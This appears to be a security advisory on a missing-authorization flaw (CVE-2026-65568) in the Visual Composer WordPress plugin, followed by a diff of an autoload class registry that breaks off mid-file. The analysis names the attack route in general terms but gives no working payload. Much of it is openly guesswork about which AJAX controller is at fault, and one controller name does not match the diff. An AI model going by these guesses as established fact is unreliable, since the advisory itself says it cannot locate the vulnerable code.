Published : August 9, 2026

CVE-2026-65568: Visual Composer Website Builder <= 45.15.0 Missing Authorization PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 45.15.0
Patched Version 45.16.0
Disclosed July 23, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-65568: This vulnerability affects the Visual Composer Website Builder plugin for WordPress, up to and including version 45.15.0. It is a Missing Authorization vulnerability (CWE-862) with a CVSS score of 4.3, allowing authenticated attackers with contributor-level access to perform unauthorized actions.

The diff provided appears to be a partial diff of the main plugin’s autoload file (`visualcomposer/cache/autoload.php`) that defines all helper and module dependencies, rather than a direct view of the vulnerable code. The diff shows a massive file removal in the vulnerable version, which is likely indicative of a significant architectural change in the new version, as opposed to a one-line fix. The diff was truncated, making it impossible to locate the specific function or callback that lacks a permission check. However, the patch for this version likely rewrites the plugin’s structure, potentially changing how AJAX actions are registered or how specific functions are called, allowing the plugin vendor to add the missing `current_user_can()` capability check. The attack vector is an AJAX action reachable by authenticated users with `contributor` role, or an attacker with a compromised contributor account. The exact AJAX action name is not disclosed in the provided diff, but it is an action handled by one of the modules listed in the autoload file (such as `EditorsDataAjaxPostFieldsController`, `EditorsDataAjaxPostDataController`, or `EditorsDataAjaxPostRevisionController`). These controllers, part of the `Editors` module, likely handle `wp_ajax_` hooks for backend post editing operations.

A contributor user can trigger a crafted POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to one of the vulnerable AJAX actions. Since the plugin does not check for the `edit_posts` or `edit_published_posts` capabilities in the vulnerable versions, the request bypasses the permission check for the specific action. This could allow the attacker to modify post metadata, retrieve sensitive data, or trigger other state-changing operations that should be restricted to higher-privileged users. The exact parameters and payloads would vary depending on the specific vulnerable endpoint, but the core technique is the same: invoking the AJAX action without proper authorization.

Atomic Edge analysis finds that the patch likely introduces a common security function, such as `current_user_can(‘edit_post’, $post_id)` or a similar check within the vulnerable method of the affected module file, before executing the requested action. The fix applies a capability check to existing actions or routes, refusing the request if the user does not have the required permission. The vulnerable version accepted the request and completed the operation, while the patched version will reject the request with an error or a redirect.

Successful exploitation of this vulnerability allows an authenticated user with contributor access to perform unauthorized actions. The severity is medium (CVSS 4.3). The impact is limited to unauthorized actions, which could include creating, modifying, or deleting plugin-specific data, or altering plugin settings. It does not directly lead to remote code execution or privilege escalation. The attacker needs to be authenticated as a contributor, which limits the attack’s severity compared to an unauthenticated vulnerability.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/visualcomposer/cache/autoload.php
+++ b/visualcomposer/cache/autoload.php
@@ -1,1781 +0,0 @@
-<?php
-
-return array (
-  'helpers' =>
-  array (
-    'AddonViewsHelper' =>
-    array (
-      'name' => 'AddonViewsHelper',
-      'abstract' => 'VisualComposer\Helpers\AddonViews',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'AssetsHelper' =>
-    array (
-      'name' => 'AssetsHelper',
-      'abstract' => 'VisualComposer\Helpers\Assets',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'AssetsEnqueueHelper' =>
-    array (
-      'name' => 'AssetsEnqueueHelper',
-      'abstract' => 'VisualComposer\Helpers\AssetsEnqueue',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'AssetsSharedHelper' =>
-    array (
-      'name' => 'AssetsSharedHelper',
-      'abstract' => 'VisualComposer\Helpers\AssetsShared',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'DataHelper' =>
-    array (
-      'name' => 'DataHelper',
-      'abstract' => 'VisualComposer\Helpers\Data',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'DefaultElementsHelper' =>
-    array (
-      'name' => 'DefaultElementsHelper',
-      'abstract' => 'VisualComposer\Helpers\DefaultElements',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'DifferHelper' =>
-    array (
-      'name' => 'DifferHelper',
-      'abstract' => 'VisualComposer\Helpers\Differ',
-      'make' => false,
-      'singleton' => false,
-    ),
-    'EditorTemplatesHelper' =>
-    array (
-      'name' => 'EditorTemplatesHelper',
-      'abstract' => 'VisualComposer\Helpers\EditorTemplates',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'ElementViewsHelper' =>
-    array (
-      'name' => 'ElementViewsHelper',
-      'abstract' => 'VisualComposer\Helpers\ElementViews',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'FileHelper' =>
-    array (
-      'name' => 'FileHelper',
-      'abstract' => 'VisualComposer\Helpers\File',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'FrontendHelper' =>
-    array (
-      'name' => 'FrontendHelper',
-      'abstract' => 'VisualComposer\Helpers\Frontend',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'GlobalsHelper' =>
-    array (
-      'name' => 'GlobalsHelper',
-      'abstract' => 'VisualComposer\Helpers\Globals',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'GridItemTemplateHelper' =>
-    array (
-      'name' => 'GridItemTemplateHelper',
-      'abstract' => 'VisualComposer\Helpers\GridItemTemplate',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'GutenbergHelper' =>
-    array (
-      'name' => 'GutenbergHelper',
-      'abstract' => 'VisualComposer\Helpers\Gutenberg',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'ImageHelper' =>
-    array (
-      'name' => 'ImageHelper',
-      'abstract' => 'VisualComposer\Helpers\Image',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'LicenseHelper' =>
-    array (
-      'name' => 'LicenseHelper',
-      'abstract' => 'VisualComposer\Helpers\License',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'LocalizationsHelper' =>
-    array (
-      'name' => 'LocalizationsHelper',
-      'abstract' => 'VisualComposer\Helpers\Localizations',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'LoggerHelper' =>
-    array (
-      'name' => 'LoggerHelper',
-      'abstract' => 'VisualComposer\Helpers\Logger',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'LoginCategoryHelper' =>
-    array (
-      'name' => 'LoginCategoryHelper',
-      'abstract' => 'VisualComposer\Helpers\LoginCategory',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'NonceHelper' =>
-    array (
-      'name' => 'NonceHelper',
-      'abstract' => 'VisualComposer\Helpers\Nonce',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'NoticeHelper' =>
-    array (
-      'name' => 'NoticeHelper',
-      'abstract' => 'VisualComposer\Helpers\Notice',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'OptionsHelper' =>
-    array (
-      'name' => 'OptionsHelper',
-      'abstract' => 'VisualComposer\Helpers\Options',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'OutputHelper' =>
-    array (
-      'name' => 'OutputHelper',
-      'abstract' => 'VisualComposer\Helpers\Output',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'PageLayoutHelper' =>
-    array (
-      'name' => 'PageLayoutHelper',
-      'abstract' => 'VisualComposer\Helpers\PageLayout',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'PluginHelper' =>
-    array (
-      'name' => 'PluginHelper',
-      'abstract' => 'VisualComposer\Helpers\Plugin',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'PopupsHelper' =>
-    array (
-      'name' => 'PopupsHelper',
-      'abstract' => 'VisualComposer\Helpers\Popups',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'PostDataHelper' =>
-    array (
-      'name' => 'PostDataHelper',
-      'abstract' => 'VisualComposer\Helpers\PostData',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'PostTypeHelper' =>
-    array (
-      'name' => 'PostTypeHelper',
-      'abstract' => 'VisualComposer\Helpers\PostType',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'PostsGridPaginationHelper' =>
-    array (
-      'name' => 'PostsGridPaginationHelper',
-      'abstract' => 'VisualComposer\Helpers\PostsGridPagination',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'PostsGridPostIteratorHelper' =>
-    array (
-      'name' => 'PostsGridPostIteratorHelper',
-      'abstract' => 'VisualComposer\Helpers\PostsGridPostIterator',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'PostsGridSourcePostsHelper' =>
-    array (
-      'name' => 'PostsGridSourcePostsHelper',
-      'abstract' => 'VisualComposer\Helpers\PostsGridSourcePosts',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'PreviewHelper' =>
-    array (
-      'name' => 'PreviewHelper',
-      'abstract' => 'VisualComposer\Helpers\Preview',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'RequestHelper' =>
-    array (
-      'name' => 'RequestHelper',
-      'abstract' => 'VisualComposer\Helpers\Request',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'RevisionHelper' =>
-    array (
-      'name' => 'RevisionHelper',
-      'abstract' => 'VisualComposer\Helpers\Revision',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'StatusHelper' =>
-    array (
-      'name' => 'StatusHelper',
-      'abstract' => 'VisualComposer\Helpers\Status',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'StrHelper' =>
-    array (
-      'name' => 'StrHelper',
-      'abstract' => 'VisualComposer\Helpers\Str',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'TokenHelper' =>
-    array (
-      'name' => 'TokenHelper',
-      'abstract' => 'VisualComposer\Helpers\Token',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'UrlHelper' =>
-    array (
-      'name' => 'UrlHelper',
-      'abstract' => 'VisualComposer\Helpers\Url',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'UtmHelper' =>
-    array (
-      'name' => 'UtmHelper',
-      'abstract' => 'VisualComposer\Helpers\Utm',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'ViewsHelper' =>
-    array (
-      'name' => 'ViewsHelper',
-      'abstract' => 'VisualComposer\Helpers\Views',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'WpHelper' =>
-    array (
-      'name' => 'WpHelper',
-      'abstract' => 'VisualComposer\Helpers\Wp',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'WpMediaHelper' =>
-    array (
-      'name' => 'WpMediaHelper',
-      'abstract' => 'VisualComposer\Helpers\WpMedia',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'WpMenuHelper' =>
-    array (
-      'name' => 'WpMenuHelper',
-      'abstract' => 'VisualComposer\Helpers\WpMenu',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'WpWidgetsHelper' =>
-    array (
-      'name' => 'WpWidgetsHelper',
-      'abstract' => 'VisualComposer\Helpers\WpWidgets',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'HubAddonsHelper' =>
-    array (
-      'name' => 'HubAddonsHelper',
-      'abstract' => 'VisualComposer\Helpers\Hub\Addons',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'HubBundleHelper' =>
-    array (
-      'name' => 'HubBundleHelper',
-      'abstract' => 'VisualComposer\Helpers\Hub\Bundle',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'HubCategoriesHelper' =>
-    array (
-      'name' => 'HubCategoriesHelper',
-      'abstract' => 'VisualComposer\Helpers\Hub\Categories',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'HubDownloadHelper' =>
-    array (
-      'name' => 'HubDownloadHelper',
-      'abstract' => 'VisualComposer\Helpers\Hub\Download',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'HubElementsHelper' =>
-    array (
-      'name' => 'HubElementsHelper',
-      'abstract' => 'VisualComposer\Helpers\Hub\Elements',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'HubGroupsHelper' =>
-    array (
-      'name' => 'HubGroupsHelper',
-      'abstract' => 'VisualComposer\Helpers\Hub\Groups',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'HubSharedLibrariesHelper' =>
-    array (
-      'name' => 'HubSharedLibrariesHelper',
-      'abstract' => 'VisualComposer\Helpers\Hub\SharedLibraries',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'HubTemplatesHelper' =>
-    array (
-      'name' => 'HubTemplatesHelper',
-      'abstract' => 'VisualComposer\Helpers\Hub\Templates',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'HubUpdateHelper' =>
-    array (
-      'name' => 'HubUpdateHelper',
-      'abstract' => 'VisualComposer\Helpers\Hub\Update',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'HubActionsActionBundleHelper' =>
-    array (
-      'name' => 'HubActionsActionBundleHelper',
-      'abstract' => 'VisualComposer\Helpers\Hub\Actions\ActionBundle',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'HubActionsHubTeaserBundleHelper' =>
-    array (
-      'name' => 'HubActionsHubTeaserBundleHelper',
-      'abstract' => 'VisualComposer\Helpers\Hub\Actions\HubTeaserBundle',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'AccessCurrentUserHelper' =>
-    array (
-      'name' => 'AccessCurrentUserHelper',
-      'abstract' => 'VisualComposer\Helpers\Access\CurrentUser',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'AccessEditorPostTypeHelper' =>
-    array (
-      'name' => 'AccessEditorPostTypeHelper',
-      'abstract' => 'VisualComposer\Helpers\Access\EditorPostType',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'AccessRoleHelper' =>
-    array (
-      'name' => 'AccessRoleHelper',
-      'abstract' => 'VisualComposer\Helpers\Access\Role',
-      'make' => false,
-      'singleton' => false,
-    ),
-    'AccessUserCapabilitiesHelper' =>
-    array (
-      'name' => 'AccessUserCapabilitiesHelper',
-      'abstract' => 'VisualComposer\Helpers\Access\UserCapabilities',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'SettingsFieldsRegistryHelper' =>
-    array (
-      'name' => 'SettingsFieldsRegistryHelper',
-      'abstract' => 'VisualComposer\Helpers\Settings\FieldsRegistry',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'SettingsSectionsRegistryHelper' =>
-    array (
-      'name' => 'SettingsSectionsRegistryHelper',
-      'abstract' => 'VisualComposer\Helpers\Settings\SectionsRegistry',
-      'make' => false,
-      'singleton' => true,
-    ),
-    'SettingsTabsRegistryHelper' =>
-    array (
-      'name' => 'SettingsTabsRegistryHelper',
-      'abstract' => 'VisualComposer\Helpers\Settings\TabsRegistry',
-      'make' => false,
-      'singleton' => true,
-    ),
-  ),
-  'modules' =>
-  array (
-    'MigrationsAssets22Migration' =>
-    array (
-      'name' => 'MigrationsAssets22Migration',
-      'abstract' => 'VisualComposer\Modules\Migrations\Assets22Migration',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'MigrationsCustomTemplatesTypeMigration' =>
-    array (
-      'name' => 'MigrationsCustomTemplatesTypeMigration',
-      'abstract' => 'VisualComposer\Modules\Migrations\CustomTemplatesTypeMigration',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'MigrationsDatabaseMigration' =>
-    array (
-      'name' => 'MigrationsDatabaseMigration',
-      'abstract' => 'VisualComposer\Modules\Migrations\DatabaseMigration',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'MigrationsDefaultCapabilitiesMigration' =>
-    array (
-      'name' => 'MigrationsDefaultCapabilitiesMigration',
-      'abstract' => 'VisualComposer\Modules\Migrations\DefaultCapabilitiesMigration',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'MigrationsDefaultElementsMigration' =>
-    array (
-      'name' => 'MigrationsDefaultElementsMigration',
-      'abstract' => 'VisualComposer\Modules\Migrations\DefaultElementsMigration',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'MigrationsEnabledPostTypesMigration' =>
-    array (
-      'name' => 'MigrationsEnabledPostTypesMigration',
-      'abstract' => 'VisualComposer\Modules\Migrations\EnabledPostTypesMigration',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'MigrationsFreeMigration' =>
-    array (
-      'name' => 'MigrationsFreeMigration',
-      'abstract' => 'VisualComposer\Modules\Migrations\FreeMigration',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'MigrationsGlobalJavascriptMigration' =>
-    array (
-      'name' => 'MigrationsGlobalJavascriptMigration',
-      'abstract' => 'VisualComposer\Modules\Migrations\GlobalJavascriptMigration',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'MigrationsLicenseMigration' =>
-    array (
-      'name' => 'MigrationsLicenseMigration',
-      'abstract' => 'VisualComposer\Modules\Migrations\LicenseMigration',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'MigrationsMaintenanceModeMigration' =>
-    array (
-      'name' => 'MigrationsMaintenanceModeMigration',
-      'abstract' => 'VisualComposer\Modules\Migrations\MaintenanceModeMigration',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'MigrationsMergeArchivesLayoutsMigration' =>
-    array (
-      'name' => 'MigrationsMergeArchivesLayoutsMigration',
-      'abstract' => 'VisualComposer\Modules\Migrations\MergeArchivesLayoutsMigration',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'MigrationsNewDefaultCapabilitiesMigration' =>
-    array (
-      'name' => 'MigrationsNewDefaultCapabilitiesMigration',
-      'abstract' => 'VisualComposer\Modules\Migrations\NewDefaultCapabilitiesMigration',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'MigrationsPredefinedTemplateMigration' =>
-    array (
-      'name' => 'MigrationsPredefinedTemplateMigration',
-      'abstract' => 'VisualComposer\Modules\Migrations\PredefinedTemplateMigration',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'MigrationsSettingsMigration' =>
-    array (
-      'name' => 'MigrationsSettingsMigration',
-      'abstract' => 'VisualComposer\Modules\Migrations\SettingsMigration',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'MigrationsTemplates114Migration' =>
-    array (
-      'name' => 'MigrationsTemplates114Migration',
-      'abstract' => 'VisualComposer\Modules\Migrations\Templates114Migration',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'MigrationsUpdateGlobalElementsMigration' =>
-    array (
-      'name' => 'MigrationsUpdateGlobalElementsMigration',
-      'abstract' => 'VisualComposer\Modules\Migrations\UpdateGlobalElementsMigration',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'AssetsAssetBundleCompressionController' =>
-    array (
-      'name' => 'AssetsAssetBundleCompressionController',
-      'abstract' => 'VisualComposer\Modules\Assets\AssetBundleCompressionController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'AssetsAssetBundleController' =>
-    array (
-      'name' => 'AssetsAssetBundleController',
-      'abstract' => 'VisualComposer\Modules\Assets\AssetBundleController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'AssetsAssetResetController' =>
-    array (
-      'name' => 'AssetsAssetResetController',
-      'abstract' => 'VisualComposer\Modules\Assets\AssetResetController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'AssetsDataController' =>
-    array (
-      'name' => 'AssetsDataController',
-      'abstract' => 'VisualComposer\Modules\Assets\DataController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'AssetsEnqueueController' =>
-    array (
-      'name' => 'AssetsEnqueueController',
-      'abstract' => 'VisualComposer\Modules\Assets\EnqueueController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'AssetsFileController' =>
-    array (
-      'name' => 'AssetsFileController',
-      'abstract' => 'VisualComposer\Modules\Assets\FileController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'AssetsJsDataController' =>
-    array (
-      'name' => 'AssetsJsDataController',
-      'abstract' => 'VisualComposer\Modules\Assets\JsDataController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'AssetsJsEnqueueController' =>
-    array (
-      'name' => 'AssetsJsEnqueueController',
-      'abstract' => 'VisualComposer\Modules\Assets\JsEnqueueController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'AssetsPreviewDataController' =>
-    array (
-      'name' => 'AssetsPreviewDataController',
-      'abstract' => 'VisualComposer\Modules\Assets\PreviewDataController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'AssetsPreviewEnqueueController' =>
-    array (
-      'name' => 'AssetsPreviewEnqueueController',
-      'abstract' => 'VisualComposer\Modules\Assets\PreviewEnqueueController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'AssetsPreviewJsDataController' =>
-    array (
-      'name' => 'AssetsPreviewJsDataController',
-      'abstract' => 'VisualComposer\Modules\Assets\PreviewJsDataController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'AssetsPreviewJsEnqueueController' =>
-    array (
-      'name' => 'AssetsPreviewJsEnqueueController',
-      'abstract' => 'VisualComposer\Modules\Assets\PreviewJsEnqueueController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'AssetsSharedController' =>
-    array (
-      'name' => 'AssetsSharedController',
-      'abstract' => 'VisualComposer\Modules\Assets\SharedController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsEnvController' =>
-    array (
-      'name' => 'EditorsEnvController',
-      'abstract' => 'VisualComposer\Modules\Editors\EnvController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsMediaSizesController' =>
-    array (
-      'name' => 'EditorsMediaSizesController',
-      'abstract' => 'VisualComposer\Modules\Editors\MediaSizesController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsAttributesWpEditor' =>
-    array (
-      'name' => 'EditorsAttributesWpEditor',
-      'abstract' => 'VisualComposer\Modules\Editors\Attributes\WpEditor',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsAttributesUrlController' =>
-    array (
-      'name' => 'EditorsAttributesUrlController',
-      'abstract' => 'VisualComposer\Modules\Editors\Attributes\Url\Controller',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsAttributesIconPickerController' =>
-    array (
-      'name' => 'EditorsAttributesIconPickerController',
-      'abstract' => 'VisualComposer\Modules\Editors\Attributes\IconPicker\Controller',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsAttributesCodeMirrorCodeMirrorController' =>
-    array (
-      'name' => 'EditorsAttributesCodeMirrorCodeMirrorController',
-      'abstract' => 'VisualComposer\Modules\Editors\Attributes\CodeMirror\CodeMirrorController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsAttributesCheckboxController' =>
-    array (
-      'name' => 'EditorsAttributesCheckboxController',
-      'abstract' => 'VisualComposer\Modules\Editors\Attributes\Checkbox\Controller',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsAttributesAutoCompleteController' =>
-    array (
-      'name' => 'EditorsAttributesAutoCompleteController',
-      'abstract' => 'VisualComposer\Modules\Editors\Attributes\AutoComplete\Controller',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsAttributesPageDesignOptionsController' =>
-    array (
-      'name' => 'EditorsAttributesPageDesignOptionsController',
-      'abstract' => 'VisualComposer\Modules\Editors\Attributes\PageDesignOptions\Controller',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsAttributesAjaxFormController' =>
-    array (
-      'name' => 'EditorsAttributesAjaxFormController',
-      'abstract' => 'VisualComposer\Modules\Editors\Attributes\AjaxForm\Controller',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsTemplatesController' =>
-    array (
-      'name' => 'EditorsTemplatesController',
-      'abstract' => 'VisualComposer\Modules\Editors\Templates\Controller',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsTemplatesPostType' =>
-    array (
-      'name' => 'EditorsTemplatesPostType',
-      'abstract' => 'VisualComposer\Modules\Editors\Templates\PostType',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsBackendSaveSetEditorController' =>
-    array (
-      'name' => 'EditorsBackendSaveSetEditorController',
-      'abstract' => 'VisualComposer\Modules\Editors\Backend\SaveSetEditorController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsNotificationsController' =>
-    array (
-      'name' => 'EditorsNotificationsController',
-      'abstract' => 'VisualComposer\Modules\Editors\Notifications\Controller',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsPopupsPremiumPromoController' =>
-    array (
-      'name' => 'EditorsPopupsPremiumPromoController',
-      'abstract' => 'VisualComposer\Modules\Editors\Popups\PremiumPromoController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsTutorialController' =>
-    array (
-      'name' => 'EditorsTutorialController',
-      'abstract' => 'VisualComposer\Modules\Editors\Tutorial\Controller',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsTutorialPostType' =>
-    array (
-      'name' => 'EditorsTutorialPostType',
-      'abstract' => 'VisualComposer\Modules\Editors\Tutorial\PostType',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsEditPostLinksController' =>
-    array (
-      'name' => 'EditorsEditPostLinksController',
-      'abstract' => 'VisualComposer\Modules\Editors\EditPostLinks\Controller',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsFrontendBundleController' =>
-    array (
-      'name' => 'EditorsFrontendBundleController',
-      'abstract' => 'VisualComposer\Modules\Editors\Frontend\BundleController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsFrontendController' =>
-    array (
-      'name' => 'EditorsFrontendController',
-      'abstract' => 'VisualComposer\Modules\Editors\Frontend\Controller',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsFrontendHeartbeatController' =>
-    array (
-      'name' => 'EditorsFrontendHeartbeatController',
-      'abstract' => 'VisualComposer\Modules\Editors\Frontend\HeartbeatController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsFrontendMenuController' =>
-    array (
-      'name' => 'EditorsFrontendMenuController',
-      'abstract' => 'VisualComposer\Modules\Editors\Frontend\MenuController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsFrontendVariablesController' =>
-    array (
-      'name' => 'EditorsFrontendVariablesController',
-      'abstract' => 'VisualComposer\Modules\Editors\Frontend\VariablesController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsPageEditableController' =>
-    array (
-      'name' => 'EditorsPageEditableController',
-      'abstract' => 'VisualComposer\Modules\Editors\PageEditable\Controller',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsInitialHelpersController' =>
-    array (
-      'name' => 'EditorsInitialHelpersController',
-      'abstract' => 'VisualComposer\Modules\Editors\InitialHelpers\Controller',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsElementsController' =>
-    array (
-      'name' => 'EditorsElementsController',
-      'abstract' => 'VisualComposer\Modules\Editors\Elements\Controller',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsDataAjaxController' =>
-    array (
-      'name' => 'EditorsDataAjaxController',
-      'abstract' => 'VisualComposer\Modules\Editors\DataAjax\Controller',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsDataAjaxPostDataController' =>
-    array (
-      'name' => 'EditorsDataAjaxPostDataController',
-      'abstract' => 'VisualComposer\Modules\Editors\DataAjax\PostDataController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsDataAjaxPostFieldsController' =>
-    array (
-      'name' => 'EditorsDataAjaxPostFieldsController',
-      'abstract' => 'VisualComposer\Modules\Editors\DataAjax\PostFieldsController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsDataAjaxRevisionController' =>
-    array (
-      'name' => 'EditorsDataAjaxRevisionController',
-      'abstract' => 'VisualComposer\Modules\Editors\DataAjax\RevisionController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsFrontendLayoutSwitcherBundleController' =>
-    array (
-      'name' => 'EditorsFrontendLayoutSwitcherBundleController',
-      'abstract' => 'VisualComposer\Modules\Editors\FrontendLayoutSwitcher\BundleController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsDataUsageMostUsedItemsController' =>
-    array (
-      'name' => 'EditorsDataUsageMostUsedItemsController',
-      'abstract' => 'VisualComposer\Modules\Editors\DataUsage\MostUsedItemsController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsSettingsAlternativeSavingController' =>
-    array (
-      'name' => 'EditorsSettingsAlternativeSavingController',
-      'abstract' => 'VisualComposer\Modules\Editors\Settings\AlternativeSavingController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsSettingsEditorLayoutController' =>
-    array (
-      'name' => 'EditorsSettingsEditorLayoutController',
-      'abstract' => 'VisualComposer\Modules\Editors\Settings\EditorLayoutController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsSettingsItemBadgeController' =>
-    array (
-      'name' => 'EditorsSettingsItemBadgeController',
-      'abstract' => 'VisualComposer\Modules\Editors\Settings\ItemBadgeController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsSettingsItemInitialHelpersController' =>
-    array (
-      'name' => 'EditorsSettingsItemInitialHelpersController',
-      'abstract' => 'VisualComposer\Modules\Editors\Settings\ItemInitialHelpersController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsSettingsItemPreviewController' =>
-    array (
-      'name' => 'EditorsSettingsItemPreviewController',
-      'abstract' => 'VisualComposer\Modules\Editors\Settings\ItemPreviewController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsSettingsPageEditableTemplatesController' =>
-    array (
-      'name' => 'EditorsSettingsPageEditableTemplatesController',
-      'abstract' => 'VisualComposer\Modules\Editors\Settings\PageEditableTemplatesController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsSettingsPageTemplatesController' =>
-    array (
-      'name' => 'EditorsSettingsPageTemplatesController',
-      'abstract' => 'VisualComposer\Modules\Editors\Settings\PageTemplatesController',
-      'make' => true,
-      'singleton' => true,
-    ),
-    'EditorsSettingsPageTemplatesSaveController' =>
-    array (
-      'name' => 'EditorsSettingsPageTemplatesSaveController',
-      'abstract' => 'VisualComposer\Modules\Editors\Settings\PageTemplatesSaveController',
-      'make' => true,
-      'singleton' => true,
